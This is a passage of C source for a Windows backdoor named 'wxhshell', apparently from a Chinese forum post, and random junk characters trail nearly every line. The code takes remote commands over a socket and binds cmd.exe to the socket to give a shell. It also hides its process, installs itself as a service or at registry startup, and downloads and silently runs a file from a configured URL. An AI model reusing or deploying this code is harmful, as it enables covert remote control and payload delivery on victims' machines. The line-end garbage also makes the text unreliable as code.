E{wVf_K  
    switch(cmd[0]) { U1 1rj,7  
  fR_)e:  
  // 帮助 0 m";=:(w  
  case '?': { j<"0ym)A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ( J\D"4q  
    break; l1gAm#  
  } FT[wa-b  
  // 安装 U5dJ=G  
  case 'i': { y!blp>V6  
    if(Install()) CW*6 -q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  T~ /Bf  
    else !`=r('l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G?<L{J2"Q  
    break; 3|/ ;`KfQ  
    } jdXkU  
  // 卸载 /n@_Ihx  
  case 'r': { ;Zw!  
    if(Uninstall()) !yoj ZG MB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tE(x8>5A:  
    else E 7;KG^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :}+U?8/"7  
    break; IR5 S-vO  
    } $daI++v`  
  // 显示 wxhshell 所在路径 KD-0NO=oL  
  case 'p': { AJC Wp4,  
    char svExeFile[MAX_PATH]; qf4|!UR{  
    strcpy(svExeFile,"\n\r"); &7E0H{  
      strcat(svExeFile,ExeFile); MCz +l0  
        send(wsh,svExeFile,strlen(svExeFile),0); 8%arA"#S  
    break; \ 8ulX>]  
    } EpOVrk  
  // 重启 6;*tw i  
  case 'b': { Wj8\~B=('  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]r'b(R; S  
    if(Boot(REBOOT)) 68;,hS*|6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x03GJy5  
    else { ] A<\ d  
    closesocket(wsh); 14s+ &  
    ExitThread(0); 0EPF; Xx  
    } \n`UkxZn+  
    break; kki]6_/n  
    } C UlANd"  
  // 关机 T/-PSfbkj  
  case 'd': { o"7,CQye  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w?oIKj  
    if(Boot(SHUTDOWN)) IW6;ZDP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *`|.:'  
    else { cMC1|3  
    closesocket(wsh); @<>](4D  
    ExitThread(0); Qy0bp;V/  
    } !%T@DT=l&  
    break; &b"PjtU.X  
    } /5U?4l(6[f  
  // 获取shell @^k$`W;  
  case 's': { :L*CL 8m  
    CmdShell(wsh); l]oGhM;  
    closesocket(wsh); z#D@mn5\ a  
    ExitThread(0); U~Uxs\0:  
    break; luat1#~J  
  } BIw9@.99B-  
  // 退出 ^~=o?VtBg  
  case 'x': { `.L8<-]W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M?)>, !Z)  
    CloseIt(wsh); vJl4.nk  
    break; eHPGzN Xb  
    } lq.AQ  
  // 离开 #V4_.t#  
  case 'q': { &&_W,id`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =qI JXV  
    closesocket(wsh); R0oP##]  
    WSACleanup(); @>X."QbE  
    exit(1); &EA4`p  
    break; )o AK)e  
        } pf] sL/g  
  } Kc{fT^E  
  } m"H9C-Y  
Xa9G;J$  
  // 提示信息 +~w '?vNc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s)~Q@ze2  
} _F,@mQ$!  
  } 7F)HAbIS  
h %MPppCEa  
  return; ?>4^e:  
} .$99/2[90  
uh:  
// shell模块句柄 |{t}ULc  
int CmdShell(SOCKET sock) %ze Sx  
{ %z.u % %  
STARTUPINFO si; JGGss5  
ZeroMemory(&si,sizeof(si)); PuUqWW'^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cN&b$ 8O=%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y$4,r4cmR|  
PROCESS_INFORMATION ProcessInfo; ]C5JP~ #z  
char cmdline[]="cmd"; O23f\pm&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I#uJdV|x  
  return 0; QVzLf+R~  
} 7Py8!  
) ae/+Q8  
// 自身启动模式 R6{%o:{  
int StartFromService(void) (doFYF~w  
{ 7/Ve=7]  
typedef struct 1eiH%{w  
{ i]9SCO  
  DWORD ExitStatus; Hr96sN.R   
  DWORD PebBaseAddress;  "}Ya.  
  DWORD AffinityMask; h r*KDT^!  
  DWORD BasePriority; e:NzpzI"v  
  ULONG UniqueProcessId; XXxX;xz$  
  ULONG InheritedFromUniqueProcessId; 9-}&znLZe  
}   PROCESS_BASIC_INFORMATION; /PHktSG  
*k=Pk  
PROCNTQSIP NtQueryInformationProcess; JMO"(?  
V , )kw{](  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LB2 2doW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4i/TEHQ  
[S3X  
  HANDLE             hProcess; Fv#ToT:QXe  
  PROCESS_BASIC_INFORMATION pbi; {%UY1n  
(_U&EX%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N @]*E  
  if(NULL == hInst ) return 0; lyv9eM  
1)%9h>F7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >Pbd#*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (W*yF2r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o7]h;Zg5r  
w;>]L.n  
  if (!NtQueryInformationProcess) return 0; Dve5Ml-  
#t3j u^ |?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .\*\bvyCw  
  if(!hProcess) return 0; `|v0@-'$  
N \A)P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5vg@zH\z  
]7'Q2OU7  
  CloseHandle(hProcess); }ndH|,  
U/|B IF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uop_bJ  
if(hProcess==NULL) return 0; I?l*GO+pz  
>$HMZbsE  
HMODULE hMod; a/`fJY6rR  
char procName[255]; 4.CLTy3W  
unsigned long cbNeeded; GD~3RnGQ{  
7m@pdq5Ub  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "+Xwc+v^  
RQ}x7< /{  
  CloseHandle(hProcess); F N(&3Ull  
&k : |  
if(strstr(procName,"services")) return 1; // 以服务启动 B3XVhUP  
%Ljc#AVg  
  return 0; // 注册表启动 CF =#?+x  
} *!l q1h  
<NT/+>:2  
// 主模块 _xUiHX<  
int StartWxhshell(LPSTR lpCmdLine) >N+e c_D^  
{ Y5PIR9-  
  SOCKET wsl; zS|%+er~zO  
BOOL val=TRUE; ]<W1edr  
  int port=0; * C's7O{O  
  struct sockaddr_in door; LFV;Y.-(h  
w#XE!8`  
  if(wscfg.ws_autoins) Install(); H\^5>ccU>V  
C=%go1! $  
port=atoi(lpCmdLine); 8m-jU 5u  
tlqDY1  
if(port<=0) port=wscfg.ws_port; od?Q&'A  
AvP*p{we  
  WSADATA data; $T]1<3\G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I2K52A+  
HmRwh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OXA_E/F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LF*3Iw|v  
  door.sin_family = AF_INET; BniFEW:<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <m UDx n  
  door.sin_port = htons(port); ,iiWVA"  
+S0A`rL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x1mxM#ql  
closesocket(wsl); C2ToT\^  
return 1; dpJi5fN  
}  fB;'U  
5 MQRb?[  
  if(listen(wsl,2) == INVALID_SOCKET) { JL;H:`x  
closesocket(wsl); 3=sA]j-+(  
return 1;  6~$ <  
} e0>@Yp[Kd  
  Wxhshell(wsl); Me5umA  
  WSACleanup(); Pgye{{  
;@v7AF6Hq  
return 0; owYfrf3ZLX  
vaR0`F  
} ,ulNap"R  
&WvJg#f  
// 以NT服务方式启动 '#u2q=n4*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^Fb"Is#S,  
{ cr,o<  
DWORD   status = 0; 3<fJ5-z|-  
  DWORD   specificError = 0xfffffff; Ob0=ZW`+&  
a; /4 ht  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &~||<0m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >fs-_>1d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v`beql  
  serviceStatus.dwWin32ExitCode     = 0; jnH44  
  serviceStatus.dwServiceSpecificExitCode = 0; ecf<(Vl}  
  serviceStatus.dwCheckPoint       = 0; Z4h P  
  serviceStatus.dwWaitHint       = 0; SL@Vk(  
fVR ~PG0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hTVN`9h7  
  if (hServiceStatusHandle==0) return; >SfC '*1  
j] M)i:n  
status = GetLastError(); ~R!(%j ]  
  if (status!=NO_ERROR) VFA1p)n  
{ s/Q}fW$ex  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -uO< ]  
    serviceStatus.dwCheckPoint       = 0; rhNdXYY>  
    serviceStatus.dwWaitHint       = 0; pklcRrx,a  
    serviceStatus.dwWin32ExitCode     = status; )S8q.h  
    serviceStatus.dwServiceSpecificExitCode = specificError; >KGQ#hnH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @$+l ^"#-]  
    return; d5^ipu  
  } =7Tbu'O;  
dVe3h.,[v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K7e<hdP_#  
  serviceStatus.dwCheckPoint       = 0; %q ja:'k  
  serviceStatus.dwWaitHint       = 0; jGt'S{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); du'$JtZo  
} 9R.tkc|K  
Av+ w>~/3  
// 处理NT服务事件,比如:启动、停止 RA.@(DN&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vkbB~gr@*  
{ ;;l(  
switch(fdwControl) .=^h@C*   
{ "lN<v=  
case SERVICE_CONTROL_STOP: /0SPRf}p  
  serviceStatus.dwWin32ExitCode = 0; |U7{!yy%MF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3P-#NL  
  serviceStatus.dwCheckPoint   = 0; 2px5>4<  
  serviceStatus.dwWaitHint     = 0; \ 0<e#0-V  
  { %$sWNn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TU[f"!z^  
  } S@_@hFV jd  
  return; #+ n &  
case SERVICE_CONTROL_PAUSE: }$ AC0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @Cqg 2  
  break; ZTt% 7K"L  
case SERVICE_CONTROL_CONTINUE: $RA"NIZ:!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q &jW{  
  break; {' r(P&  
case SERVICE_CONTROL_INTERROGATE: JmN;v|wF:c  
  break; eTrGFe!8w  
}; J>Zd75;U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y71b Lg  
} J anLJe)  
cs@5K$v  
// 标准应用程序主函数 BA t2m-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VT'$lB%IK  
{ D4o?  
K=06I  
// 获取操作系统版本 U35}0NT _  
OsIsNt=GetOsVer(); wu 3uu1J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V TEyqo2  
,LzS"lmmo  
  // 从命令行安装 |h6 @hB\  
  if(strpbrk(lpCmdLine,"iI")) Install(); Zjo9c{\  
df8rf8B-  
  // 下载执行文件 G]&:">&R  
if(wscfg.ws_downexe) { t.knYO)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [$H8?J   
  WinExec(wscfg.ws_filenam,SW_HIDE); SB  \ptF  
} aty K^*aX  
'u696ED4  
if(!OsIsNt) { +m>Kb edl  
// 如果时win9x,隐藏进程并且设置为注册表启动 GD< Afni  
HideProc(); $L`7(0U-  
StartWxhshell(lpCmdLine); bWMM[pnL  
} typ*.j[q  
else %o{vD&7\  
  if(StartFromService()) \ 2".Kb@=  
  // 以服务方式启动 _B W$?:)9  
  StartServiceCtrlDispatcher(DispatchTable); MX9 q )(:  
else * =;=VUu5  
  // 普通方式启动 OpH9sBnA  
  StartWxhshell(lpCmdLine); W%1fm/ G0  
d,D)>Y'h  
return 0; Wg}#{[4  
}
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只看该作者 1 发表于: 2006-10-10
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